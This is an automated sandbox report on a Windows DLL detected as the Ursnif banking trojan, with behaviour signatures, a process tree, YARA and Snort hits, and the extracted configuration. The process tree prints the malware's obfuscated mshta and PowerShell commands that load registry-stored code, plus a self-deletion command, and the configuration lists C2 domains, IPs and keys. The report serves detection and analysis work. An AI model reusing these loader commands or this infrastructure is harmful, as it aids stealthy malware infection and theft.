Joe Sandbox Cloud Basic Analysis Report

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Windows Analysis Report
tIJVb0BvkI.dll

Overview

General Information

Sample Name:tIJVb0BvkI.dll
Analysis ID:620333
MD5:f28f39ada498d66c378fd59227e0f215
SHA1:1c9c0584ad51f5be3f16b334d758c88b8cdb7b38
SHA256:0a66e8376fc6d9283e500c6e774dc0a109656fd457a0ce7dbf40419bc8d50936
Tags:dllgeoGoziISFBITAUrsnif
Infos:

Detection

Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Snort IDS alert for network traffic
Maps a DLL or memory area into another process
Writes to foreign memory regions
Changes memory attributes in foreign processes to executable or writable
Machine Learning detection for sample
Allocates memory in foreign processes
Uses ping.exe to check the status of other devices and networks
Self deletion via cmd delete
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Modifies the context of a thread in another process (thread injection)
Creates a thread in another existing process (thread injection)
Disables SPDY (HTTP compression, likely to perform web injects)
Writes registry values via WMI
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Compiles C# or VB.Net code
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w10x64
  • loaddll32.exe (PID: 6904 cmdline: loaddll32.exe "C:\Users\user\Desktop\tIJVb0BvkI.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 6984 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\tIJVb0BvkI.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 7020 cmdline: rundll32.exe "C:\Users\user\Desktop\tIJVb0BvkI.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • control.exe (PID: 4324 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)
          • explorer.exe (PID: 684 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
            • cmd.exe (PID: 5832 cmdline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\tIJVb0BvkI.dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
              • conhost.exe (PID: 6204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
              • PING.EXE (PID: 2464 cmdline: ping localhost -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)
            • RuntimeBroker.exe (PID: 3808 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
  • mshta.exe (PID: 6756 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Kmli='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Kmli).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
    • powershell.exe (PID: 3300 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name smlsiwoq -value gp; new-alias -name dbmfrylmpa -value iex; dbmfrylmpa ([System.Text.Encoding]::ASCII.GetString((smlsiwoq "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 4204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • csc.exe (PID: 5612 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2tb3qiq3\2tb3qiq3.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 5896 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES109F.tmp" "c:\Users\user\AppData\Local\Temp\2tb3qiq3\CSCCA338523CEA149558ADCBDE2BD495CFE.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • csc.exe (PID: 3368 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5xaibb03\5xaibb03.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 4168 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES37BE.tmp" "c:\Users\user\AppData\Local\Temp\5xaibb03\CSC5E69315C691F4C1A85D8DAF9C7145CE8.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
  • cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "WDHdIpDR32hiBF82vKyfbd4Aeqb2endsG7KPr9+PRwpFwh6xHOPeXmivTfHV1J5O9BbOekXP+fpLTlNw78j8NdT4sNAaVFSXIxeuXWdoUw6r5lOTidqS1cBNYe3P3AFASRESMg14/OvBfHcw2QScm4OJeiHSYe26nzRyCo9Bsx0twNSvxA9Ev6ecU3aTGDNOX6EO6pfJFTv3oxkLljtitiqLzJjGUeio8ebUBdVSKBHjVo6ZyneL/fS9OUJFMNJ7HNXH2S3/amCXZuSmGf5nGAp2ln8QhGUUaVVkgcswKSlhcM0caruAqxzK8wdEz4NJO3xL/S8BTA8Kjk8SIMljp4q8BLwzx+qosOvcvZK8zl8=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "gamexperts.net", "185.189.151.181", "185.189.151.186"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000003.00000003.641851907.0000000004B69000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
    00000003.00000003.517608074.000000000500A000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
      00000003.00000003.517654657.0000000005089000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
        00000003.00000003.517711866.0000000005108000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
          00000003.00000003.469735730.0000000005108000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
            Click to see the 21 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            3.2.rundll32.exe.1060000.0.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
              3.3.rundll32.exe.4b694a0.10.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                3.3.rundll32.exe.500a4a0.0.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                  3.3.rundll32.exe.50894a0.1.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                    3.3.rundll32.exe.4b694a0.10.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                      Click to see the 4 entries

                      Sigma Signatures

                      ⊘No Sigma rule has matched

                      Snort Signatures

                      Timestamp:05/04/22-16:27:52.293372 05/04/22-16:27:52.293372
                      SID:2033203
                      Source Port:49738
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:05/04/22-16:28:12.405919 05/04/22-16:28:12.405919
                      SID:2033203
                      Source Port:49758
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:05/04/22-16:28:12.829578 05/04/22-16:28:12.829578
                      SID:2033204
                      Source Port:49758
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected

                      Joe Sandbox Signatures

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection

                      barindex
                      Found malware configuration
                      Source: 00000003.00000002.642402320.00000000009C0000.00000040.10000000.00040000.00000000.sdmpMalware Configuration Extractor: Ursnif {"RSA Public Key": "WDHdIpDR32hiBF82vKyfbd4Aeqb2endsG7KPr9+PRwpFwh6xHOPeXmivTfHV1J5O9BbOekXP+fpLTlNw78j8NdT4sNAaVFSXIxeuXWdoUw6r5lOTidqS1cBNYe3P3AFASRESMg14/OvBfHcw2QScm4OJeiHSYe26nzRyCo9Bsx0twNSvxA9Ev6ecU3aTGDNOX6EO6pfJFTv3oxkLljtitiqLzJjGUeio8ebUBdVSKBHjVo6ZyneL/fS9OUJFMNJ7HNXH2S3/amCXZuSmGf5nGAp2ln8QhGUUaVVkgcswKSlhcM0caruAqxzK8wdEz4NJO3xL/S8BTA8Kjk8SIMljp4q8BLwzx+qosOvcvZK8zl8=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "gamexperts.net", "185.189.151.181", "185.189.151.186"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}
                      Multi AV Scanner detection for submitted file
                      Source: tIJVb0BvkI.dllReversingLabs: Detection: 47%
                      Machine Learning detection for sample
                      Source: tIJVb0BvkI.dllJoe Sandbox ML: detected
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_01065FBB CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,3_2_01065FBB